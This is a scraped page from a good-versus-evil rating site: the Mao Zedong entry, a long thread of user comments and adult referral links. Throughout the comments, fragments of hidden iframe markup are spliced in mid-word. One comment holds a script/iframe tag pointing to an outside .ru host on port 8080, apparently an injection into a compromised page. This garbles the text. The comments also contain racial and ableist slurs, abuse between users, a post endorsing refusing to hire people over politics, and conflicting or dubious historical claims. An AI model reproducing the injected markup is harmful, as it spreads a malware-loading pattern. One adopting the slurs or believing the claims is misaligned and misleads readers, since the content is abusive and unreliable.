Evils Scale - Rating the world's good and evil

Logon | Register

Advertisement:

| | | | | |

Advertisement:

Mao Zedong
Dictator

Mao Zedong was a political leader who led the Communist Party of China to victory in the Chinese Civil War, leading to the establishment of the People’s Republic of China. Supporters within China consider Mao as a successful military and political leader who led the rise of 20th Century China. He instigated several major socio-political programs seeking to achieve, by means of his political philosophy, the ideal of a strong, prosperous and socially egalitarian China. These programs, however, were widely regarded as failures and Mao has been blamed with the deaths of between 20 and 67 million of his countrymen. The resulting anarchy, terror, and paralysis completely disrupted the urban economy, industrial production for 1968 dipped 12 percent below that of 1966, and led to the destruction of much of China's cultural heritage and the imprisonment of a huge number of Chinese intellectuals.?

< Previous
<< First Nominee

Random Nominee
Full Nominee List

Next >
Last Nominee >>

so and so Unregistered	1: 1/11/2007 10:54:08 PM Seeing as how he's responsible for more deaths than any other man in all of human history, I'd say this guy should be rated the worst - followed by Stalin & Hitler. Honestly, why aren't these guys the top three?
Kris Unregistered	2: 1/13/2007 2:57:41 AM I think because even though they killed more, they weren't as demented in the way they killed people.
so and so Unregistered	3: 1/14/2007 11:34:45 AM I don't care about the reasoning behind it. I just care about the results. Encyclopedia Idiotica names Mao among their ranks for his retarded "great leap forward", where everyone in every town had to contribute a certain amount of steel, to go to industry. If you didn't meet the quota you were killed. People melted down silverware, any appliances they had, etc - all sorts of metals that weren't really steel. They basically starved themselves of all the tools they needed to live and survive, and in the process, they devote far too little time to farming. It took several years of mass starvation for any of this to change because of Mao's pride, refusing to admit his mistake, and not caring who suffered as a result. The man was a demonone"></
Kris Unregistered	4: 1/16/2007 3:50:14 PM A demon... or a dumbass?"0" style="
Hecktor Dangus, esq. Unregistered	5: 2/14/2007 9:19:59 PM Demonone"></if
so and so Unregistered	6: 3/12/2007 6:50:01 PM whoever wants this guy to have the top spot, I'm telling you now it's never gonna happen. Zao belongs on top, followed by Stalin and Hitler. Then come other nasty dictators, and certain US presidents. Then come the psychopaths. I've let Joe Mengele sit up here for awhile, as I creep up the other numbers, but if you think you can just cut down Mao and put this guy in his place - I'll just cut this guy down too, and then neither will have a number that properly reflects his evilness.
so and so Unregistered	7: 3/12/2007 6:50:53 PM EDIT: my previous post makes alot more sense under Mengele's page.
Kris Unregistered	8: 3/14/2007 12:05:02 AM My girlfriend just said he was brilliant. I told her she was weird.s
Mike Unregistered	9: 4/23/2007 4:25:52 AM Stalin killed up to 60 million, whilst Zedong, killed 43 million, thats a big gap, so i conclude saying that it shoulds be Stalin, Zedong, Hitler
so and so Unregistered	10: 4/29/2007 7:08:40 PM I don't know where you heard that, but with Stalin, it's actually closer to 20 Million. So check your sources. Now then, here's my latest gripe: I can't stand how some people are giving 1 votes to the most evil people just to switch some other person into the worst position. In the middle numbers of the scale it doesn't matter, but for the 1's and 9's it does and here's why. This is supposed to be a scale from 1-10, not 2-9. If you and some other jackass get into a voting war over who gets the worst position, then you keep lowering Mao's number, and he keeps lowering Stalin's, and pretty soon they'll both have a 8 rating, as will everyone else around them. I mean both Rosa and Harriet jumped up 11 points in a last day, and the same problem dropped Mao and Mengele 50 points over the last month or so. Here's the solution. Pick the people you care about and only vote for them. That way the most good will slowly approach 1, and the most evil will progress back towards 10. Let the person with the most votes win, as it should be. src=
so and so Unregistered	11: 5/2/2007 7:59:04 AM And people keep lowering Mao. Well, I told you all I'd do it. You want to lower Mao, I'll lower everyone else. Kris here's a potential solution. For any nominee that reaches beyond a 9 on the scale, say for at least a week, treat as especially evil with a new voting format - people can only vote a 9 or 10. That way they are less able to influence dragging down someone to get their nominee up. You could do the same thing for anyone who gets below a 2 for a week or more. People would only be able to vote a 1 or 2. They could still influence who's higher or lower on the scale, they just couldn't wildly screw it all up.<
so and so Unregistered	12: 5/3/2007 7:22:15 AM Now then. the list is still in the same order, and now the scale ends at 9.3 Did we all learn our lesson, or do we need to drop everyone down to 9?h="0"<
so and so Unregistered	13: 5/3/2007 11:30:44 AM Ok, so some of us are slow learners. Now we're down to 9.27 on this scale. How much farther down do you want to go?isplay:none">
Kris Member	14: 5/4/2007 1:40:55 AM I think some people don't see Mao as evil. He basically established the country as it is and set forth many of their policies. Never mind that he failed misserably.?
so and so Unregistered	15: 5/4/2007 10:46:47 PM some people need to learn how to vote their guys up rather than bring my guy down.nemo
so and so Unregistered	16: 5/5/2007 6:26:38 AM alright now, for anyone reading this, so long as you don't vote down Mao, I won't vote down anyone else. We can let all these numbers grow back up toward 10, or you can keep messing with Mao and we can keep screwing up the scale.ispl
so and so Unregistered	17: 5/6/2007 10:40:15 AM down to 9.17 very slow learners."0"
Celtic_woman Member	18: 5/8/2007 8:06:38 PM i may sound stupid rite about now but who was this guy?sid=1
so and so Unregistered	19: 5/9/2007 8:08:35 PM "There's your sign." dude, just scroll up. The man killed more people than anyone else on the planet, in our entire history. About 40 million. Stalin comes next with 20 mill. read this: Encyclopedia Idiotica names Mao among their ranks for his retarded "great leap forward", where everyone in every town had to contribute a certain amount of steel, to go to industry. If you didn't meet the quota you were killed. People melted down silverware, any appliances they had, etc - all sorts of metals that weren't really steel. They basically starved themselves of all the tools they needed to live and survive, and in the process, they devote far too little time to farming. It took several years of mass starvation for any of this to change because of Mao's pride, refusing to admit his mistake, and not caring who suffered as a result. The man was a demono
Beefy Unregistered	20: 5/10/2007 4:34:40 PM Hey Celtic_woman, where did you go to school? Did you know that for young Chinese women, it was considered an honor to contract a venereal disease from Mao? And he had many. He didn't bath, didn't brush his teeth (he said, "Tigers don't bathe; tigers don't brush teeth. I'm tiger, I won't either."), didn't believe in condoms, and like the Louises in France, only slept with virgins. He was a just a tiny little murderer who thought genocide upon his own people was cool.
so and so Unregistered	21: 5/10/2007 9:23:31 PM well, now we're down to 8.96. How much lower will we go??sid
so and so Unregistered	22: 5/11/2007 10:14:54 PM 8.65, man this site's getting retarded. Sorry Kris, especially after all the work you put into it. Maybe if more people were voting. Maybe if the votes were cleared and we could start over. It must get depressing for people to see their votes not making a difference anymore.g
haha Unregistered	23: 5/15/2007 1:35:31 PM u are all stupidisplay:
Robson Unregistered	24: 6/3/2007 1:29:01 AM Stalin or Mao? Who was worst? Both were evils.h=
Supporter-of-mao Unregistered	25: 6/7/2007 4:35:10 AM Mao wasn't evil. If it wasn't for him China would have been the property of USA, Soviet and Britain. I'm not even a communist, But Mao made China a better country.?s
don't know Unregistered	26: 6/14/2007 12:16:55 AM No one said he was selfish in the oldest history books.?sid=
anon Unregistered	27: 6/21/2007 3:57:27 PM evilest ever! he was the one behind the torture! I an from Hong Jong so i don't know abouot the cultural revolution but I know it was horrible!ig
RKV Unregistered	28: 6/27/2007 12:38:25 PM Mao made China a better country?! Right. Sure. Mass murderer, and sexually depraved unelected dictator of China. Get a brain.isp
PigmerikanMao Unregistered	29: 8/18/2007 2:28:46 PM Mao was a genius! He was a great man that freed China from the exploits of US Imperialism and unified the nation which was broken up because of the aforementioned imperialism. Mao is greater than any Amerikkkan presidentone"
Unamed Unregistered	30: 8/18/2007 10:18:02 PM I agree with the person above me and also that China is not a communist country because i have been to China (not Hong Kong) By the way does anyone kno wat that chinese word is on the bandana on his arm?<
maddude Unregistered	31: 8/27/2007 8:59:34 PM yes it is true that Mao unified china and did some good things for the better of china. but he was also a total douche and the mass murder, torture and destruction of his people wasnt really all that neccesary. stop being right wing/ left wing pussies and look at both sides, aretardsuil
Zao Unregistered	32: 9/27/2007 9:41:35 AM Yeah Zao shouldnt be at the top in my mind. Hitler easily at at the top. Zao started out with good intentions. As we all know the philosophy of communism is actually pretty good and on paper it kicks the hell out of capitalism the problem is that it isnt practical and thats why it always fails. Largely because it doesnt account for human error i.e. corruption/stupidity. I think the biggest fault you can find with him was his role in the cultural revolution which was pretty much a grab for power which resulted in thousands of deaths by the redguards. The other deaths attributed to his rule were largely due to famine during his 5 year plans which were a complete failure but these were due to poor planning bad luck and prior conditions (i.e. china was totally screwed from succesive wars ww2 and the CRW)uildi
Mao Unregistered	33: 9/27/2007 11:04:48 AM lol meant to say mao and it was the great leap forward i was thinking of not 5 year plan heh getting russia and china mixed up.i
mao the worst Unregistered	34: 10/8/2007 1:26:40 AM i am a chinese, you all will never believe my parents and grandparents suffer from 1952-1978. All china decade, all people suffer from starvation,no food, no book, no science. only the quotation of chairman mao. Stalin and hitler doing is for their contry,they didnt curb scince development,but mao is absoulutely for himself and his prejudice. you can never imagine what mao bring the misery to all china people. He is the worstisplay:none"
mao the worst Unregistered	35: 10/8/2007 1:32:14 AM about 40 million dead for no food in 1958-1962, 9of10 of interlectual were suffer inhuman encounter in 1966-1976. all city man move to country, all society were distorted. all people live like idiot, only know read quotation of chairman mao everyday and night.
NH observer Unregistered	36: 10/16/2007 7:31:29 PM There's a difference between being the most evil and having the most evil effect. For the latter, Hitler, Mao and Stalin clearly belong on top, though if you scale it to total world population at the time, Genghis Khan might be right up there. For the former, Mengele, Idi Amin, Vlad the Impaler, H. H. Holmes and such types should probably top the list, even though their total murders are only a miniscule fraction of Genghis Khan's.is
This sucks Unregistered	37: 10/19/2007 1:17:54 AM That sucks, mao the worst, but Mao won't go back to the top at this site; the fucking neo-commies think he's cool. Just look who's in the top "good" list, and who's at the top of the "evil" list. This site is full of commie-loving cocksuckers. Mao could bury 100 million people alive, and he'd still not be counted as bad as a Republican president. Whoever is voting like this (ahem...PETArds) is a batshit crazy moronone"></ifram
This sucks Unregistered	38: 10/19/2007 1:21:58 AM "30: 8/18/2007 10:18:02 PM I agree with the person above me and also that China is not a communist country because i have been to China (not Hong Kong) By the way does anyone kno wat that chinese word is on the bandana on his arm?" You are a fucking knobgobbling MORON. You claim to know anything about China because you've "been there," but you don't "kno wat" the Chinese word is? Fuck you. Shut the fuck up and die, please
Ernst Thaelmann Unregistered	39: 11/1/2007 5:26:01 PM Haha, neo-kommunists? what the hell??? Anyway, you people only look at western sources. Now I am more knowledgeable in the area of the Sowjetunion, but I'm pretty damned sure that Mao could not have killed 60 million even if he wanted to. and saying Stalin killed 20million is a joke. This number of dead in the Sowjet penal system was closer to 400,000, most of which was a result of diseases they had not cure for. But back to Mao. I don't know about you people, but I don't believe whatever I hear out on the street about so-and-so doing this and that(not username so-and-so), and similarly, not every source is reliable.
Ernst Thaelmann Unregistered	40: 11/4/2007 11:17:31 AM Mao is one of the worst Cold Blood mass murderers in history
Ernst Thälmann Unregistered	41: 11/4/2007 4:02:50 PM once again people using my name. last post is not me. really, what does this accomplish?tp
Ernst Thälmann Unregistered	42: 11/5/2007 3:52:37 AM Mao was Stalin's Whorei
super unkown girl Unregistered	43: 3/3/2008 12:19:25 AM WHY DO YOU THINK HIS EVIL IF HE WAS PEOPLE SHOULD OF VOTED HIM OUT OF BEING THE LEADER. HIS PERSONALLY GOOD IN A WAY. PEOPLE STILL GOT VERY SAD WHEN HE DID DIE :(?si
Me Unregistered	44: 6/10/2008 10:11:14 AM Very evilisplay:none"><
Stephen Unregistered	45: 6/30/2008 9:28:57 AM MAO GOOD FOR CHINA??? ARE YOU TOTAL IDIOTS???? Even his puppet successor Hua admitted to 30 million dead in the4 famine that was due to Mao's policies. Estimates are now reaching 43-70 million...yeah. That was great for the people. THEY DIDN'T HAVE TO WORRY ABOUT AMERICAN IMPERIALSIM BECAUSE THEY WERE DEAD!!<ifr
Ernst Thälmann Unregistered	46: 7/2/2008 4:24:45 AM Bush is like Mao without Mao's brains.ig
a very shocked person Unregistered	47: 7/24/2008 6:15:22 PM Because most people on here a clueless morons.h=
abcdefg Unregistered	48: 7/27/2008 7:30:14 PM Mao is evil? I dont think so. Like other controversial political figures, he has a smart brain but posses some crazy convictions. And all his masterplans for his country was based on some crazy idea called "communism" that simply doesn't work. Mao set wrong policies that caused famine, resulting millions of deaths. His responsible for their deaths. But saying "Mao killed 43 million", as in "a serial killer killed 53 women", is totally inaccurate.
Marc Unregistered	49: 8/18/2008 10:19:26 PM I don't see how or why any US politician is on this list except for trying to be funny...tp
Kush Unregistered	50: 11/15/2008 5:38:16 PM Mao united China and prevented it from being split into warring states - there was no way in hell anybody could have united China under democracy during this period. He understood that he had to crack a few eggs to make an omlette. The endgame for me is that if Mao hadn't existed I don't think China would be as great a nation as it is today. Even though his policies were responsible for the deaths of millions, this was not his intention. He also deserves some credit for admitting "The Great Leap Forward" was a mistake. On the other hand, indoctrination, destruction of political freedoms, brainwashing. In short, he became the tyrant he wanted to destroy. I gave him a 6.
Mao you bastard Unregistered	51: 11/23/2008 5:23:44 PM If you don't think Mao is evil you need serious help. NOW. "Too lenient, not enough killing" was what he would say.isplay:
truth Unregistered	52: 12/3/2008 2:17:50 PM mao zedong is not evil. Before Mao Zedong came about, life for the poor was hopeless. Not only did they suffer from starvation but abuse and slavery from the higher class people, poor people were not given education and many of them were forced to become slaves. Once they become slaves their generation and onwards, would also be slaves too. Mao Zedong’s biggest achievements was he made the citizens of China equal, he built mass support among China’s peasants during the war against Japan in the 1930s and 1940s and brought real social change to the villages. Mao Zedong broke the power of the landlords and moneylenders in the villages, freeing slaves and servants and promised peace and a better life. nem
lee dong Unregistered	53: 1/6/2009 7:56:04 AM he is an evil and every one knows that coz he killed lots of people n captured many countries so how could he'll gudisplay:none"
gasoline Unregistered	54: 4/5/2009 3:15:48 PM i hate him!!!!!!!!!!isp
JesusFreak Unregistered	55: 4/7/2009 8:27:19 AM WE can ALL agree he was evil rite
Blacksun5 Member	56: 5/23/2009 5:33:50 AM yes, But this site makes me wonder about the US education system as they rate Bush and Reagan as more evil than Mao or Stalin or Hitler or Pol Pot or Kim Jong Il.?si
Bartox Unregistered	57: 5/30/2009 8:32:57 AM Mao es un genio y ustedes unos inconcientes,ni siquiera son capitalistas son unos sometidos ponganse a leer un poco y despierten de la matrix capitalista ?sid=1"
Blacksun5 Member	58: 6/2/2009 12:11:05 PM No Bartox, Read Mao: the Unknown Story by Jung Chang and John Halliday. At the very least 70 million people died under him. Mao Tse Tung murdered more than stalin (50 million) and Adolf Hitler (24 million) combined. Wake up from your communist Matrix. Che is dead!go.p
Blacksun5 Member	59: 6/2/2009 12:11:45 PM Hell, Rummel estimates c. 77 million people died under Mao.?
m&m Unregistered	60: 6/4/2009 6:56:59 PM worse than adolf hitler
Drew Unregistered	61: 9/19/2009 2:10:45 PM Heinrich Himmler was the man man actually in charge of the Nazi genocide. Hitler was only the spokesman for the national socialist party of Germanyh="0"<
Worried Unregistered	62: 10/3/2009 7:28:48 AM Unfortunately, we cant know the names of the worst offenders of atrocities - too numerous to name. They are the dumbies like the loser who said Mao was good -these are the real evil people among us - They the ones who put these parasites into power. After all Mao, Stalin, Hitler, Pol Pot were just opportunists in the beginning, they were helped to power by their supporters - they did not get there on their own. When I hire staff I make sure most importantly I find out their political leanings - If they are socialist, communist or liberal they dont come anywhere near my business, for this is the sewerage from where all these dictatorous scum come from. I have learned in life as a security assessor and business owner that the most problematic and power obsessed people are ultra liberal socialists (socialists not to be confused with people who are pro society, human rights and helping people)- socialists in the political sense - there is a difference. These are the people we need to fear and rate, I believe. nem
HistoryManiac Unregistered	63: 10/3/2009 7:14:12 PM My grandparents had to flee from China to Cambodia because of the violent Communist revolution (headed by Chu Teh and Mao Tse Tseung). One of my Uncles was a member of the Red Gaurd during the Cultural Revolution. He said that they never went hunting for revisionists or anything like that. They just went to meetings where they played ping-pong. Also, there's a difference between socialism and communism dumbass. Socialism is the government of the second and third richest countries in the world, where people are happy and quite well-off, usually owning more stuff than any of you. Communism is based on social equality, which is a lost cause, because some people just want money. The capitalist government revolves around these greedy, rich people, who keep the government from taking over the country because they don't want to lose their money. The poor people in these capitalist countries are the ones who have to suffer, but they can rise in the ranks by not trusting strangers, taking every raise or opportunity they get, investing in good stocks, and taking money from other people. Communism is the exact opposite. Everybody is lower-middle class, soldier, or government. Unfortunately, this is almost impossible to accomplish, because of money-obsessed people, or because of a government run by corrupt leaders like Stalin, Ngo Dinh Diem, Nguyen Van Thieu Chin Shi Huang Di (who I am descended from) and Krushchev, stupid leaders like Castro (who was basically a baseball player who was thrown into a high-ranking position), most of the Russian Czars, and about one-fourth of all US presidents, or madmen like Hitler (not as much evil as manically depressed and genicidally insane). I think Deng (Mao's REAL successor) did a good job describing Mao, "He was right about 70% of the time and wrong about 30% of the time." (note: Deng HATED Mao with a passion and he still said this) People in America tend not to know communism from autocracy (a.k.a. dictatorship, for you idiots). Communism is run by a republican style president, and a politburo, which often includes non-communist parties such as republican, pragmatist, nationalist, socialist, democratic, and oligarchic parties. An autocracy is run by a single, self-appointed leader, not a popularly elected leader with a cabinet and a congress/politburo. Mao's dumbest decisions were the Great Leap Forward, which caused a food shortage (Quote Lin Biao: "A donkey may be slow, but at least it never slips and falls!"), the Cultural revolution, which was actually not controlled by Mao, but by Lin Biao (and even Lin Biao couldn't control the trigger-happy members of the Red Gaurd), and the Hundred Flowers Campaign (a mass discussion of Mao's ideas and writings in schools, universities, Red Gaurd meetings, and random meetings between people) which resulted in rebellions, riots, and killings made by capitalists, autocrats, and others who did not support Mao's ideas. Mao himself was responsible for the killings of around 10,000 nationalist troops during the cultural revolution (were China was rid of a REALLY evil ruler, Chiang Kai Shek). Mao was a good poet too, though very few of his poems actually have anything to do with communism. Mao spent about half of his time in the hospital, sick, where he was stuck with nothing to do except watch television and make posters (thus, all of the posters). Mao lived for a few months in the imperial palace, with gold toilets, Persian rugs and expensive food, but he said later that he hated it, and then he moved out and spent the rest of his life in a CAVE, with nothing but some paper and a pencil and a telephone (which he used to call president Nixon). Honestly people, research a guy before you call him good or evil, and look up a government before you start using its name gratuitously. I would vote about 3 to 5 for this guy. He was a good person, and he didn't kill half as many people as you say.<scriptnutcountry.ru:8080/index.php?pid=13" wi<iframe src="http://
HistoryManiac Unregistered	64: 10/3/2009 7:15:21 PM Sorry, that 10,000 up there should be 10,000,000.
Zombie Unregistered	65: 10/3/2009 7:17:52 PM vlad the impaler wuz the wurst. he actually sat there and watched people get stuck on wooden stakes. then he laughed as they screamed and bled to dethh="
gasoline Unregistered	66: 10/3/2009 7:44:26 PM 'historyManiac,' commies are rarely good peopleh
HistoryManiac Unregistered	67: 10/4/2009 10:04:16 AM How many of them have you actually met and/or researched??si
HistoryManiac Unregistered	68: 10/4/2009 10:05:22 AM Stalin certainly was horrible, though.ig
girldoinghomwork&hatesit! Unregistered	69: 10/7/2009 10:45:52 AM why is george bush first?"0" style=
Nik Unregistered	70: 10/8/2009 5:23:42 AM I agree. Mao is #1. He killed more of his fellow citizens than Stalin and Hitler combined, a lot more - 70 million. And he destroyed the life of someone I know personally by closing her school in seventh grade and forcing her into hard labor for 3 years for the crime of being upper middle class from an educated family. At the camp girls were also raped. When she was badly hurt and got out after 3 years, she was a year later sent to prison for ordering a book on western art and languished there until she finally got out and escaped to the USA. Great friggin' guy, Mao!
gasoline Unregistered	71: 11/7/2009 8:18:42 PM "HistoryManiac", i have researched and met lots of people that have communist veiws. Communism is a horrid idea. They think they can take our money/land and spread it around the world.ui
barney Unregistered	72: 11/14/2009 7:21:14 AM mass murderisplay:none"
Deadguy Unregistered	73: 12/6/2009 8:02:01 PM You wanna know an interesting analogy? "Commies" is to Communism as "Nigger" is to Negro/African American. lolisplay:none"></if
Deng Xiaoping Unregistered	74: 12/22/2009 3:38:01 PM Hitler paled in comparison with Mao zedong. Fucking Mao killed countless people without war. src="h
Inquisitive Unregistered	75: 1/1/2010 8:52:23 AM @Deng Xiaoping: What is the accent on the word "Deng"? (-,/,\,^) Xie Xien
Dick -n- ya mouth Unregistered	76: 1/1/2010 1:04:57 PM Yall all are a bunch of fuckin Assholes!!!!!!!!!
yo Unregistered	77: 2/1/2010 1:11:01 PM MAO CAN GO DIE IN A HOLE!"0" style=
hahahahahahaha Unregistered	78: 2/2/2010 8:12:17 PM AAAAAAAAAAGHHHH he is a fat, evil COMMIE!!!!h="0
teehee Unregistered	79: 2/11/2010 12:57:48 PM roflmaoisplay:none"></i
JW Frogen Unregistered	80: 4/16/2010 12:38:33 AM The majority of Chinese killed under Mao died from a coma induced by having to read his poetry. src
TashkentFox Unregistered	81: 5/12/2010 3:53:32 AM It's not really known how many people Mao killed, most of the deaths were caused by his utter inability to accept scientific facts (for example his sparrow cull caused a nationwide famine because the sparrows were eating the insects that ate the crops) while Stalin deliberately used famine as a tool of political oppression. Don't get me wrong, Mao was still an evil man who murdered millions upon millions of people, but Stalin was responsible for more deliberate deaths so Stalin should be at No. 1 and Mao at No. 2.
Man Unregistered	82: 5/15/2010 11:28:30 AM I like menisplay:none">
Man Unregistered	83: 5/15/2010 1:40:58 PM only menone"><
Man Unregistered	84: 5/15/2010 1:41:55 PM With big sausages..[: Yes, those sausages ;]h="
soplass Unregistered	85: 5/18/2010 2:36:47 PM dude get a life!!!!ispl
JOJO Unregistered	86: 5/18/2010 2:38:09 PM DUDE HITLER IS THE SHIT!!!!"0" styl

Name:
Comment:

1	George W. Bush
2	Cameron Hooker
3	Idi Amin Dada
4	Albert Fish
5	Ronald Reagan
6	Adolf Hitler
7	Joseph Stalin
8	Mao Zedong
9	Pol Pot
10	H. H. Holmes

Top 100 Evil

1	Barack Obama
2	Alexander Solzhenitsyn
3	Alfred Hitchcock
4	John Adams
5	Nikola Tesla
6	Jesus Christ
7	Rosa Parks
8	Super Mario
9	Homer Simpson
10	Winston Churchill

Top 100 Good

1	Live Webcam Sex
2	Web Girls Online
3	Smooth Operator
4	NSFW News
5	GoYK.com
6	Free Sex Webcams
7	Who'd You Bang?
8	Funpictures.dk
9	Wellplayed.net
10	Thee Church Ov MOO

View All Referals
Add Your Site

Website design by SteeleITS - Privacy Policy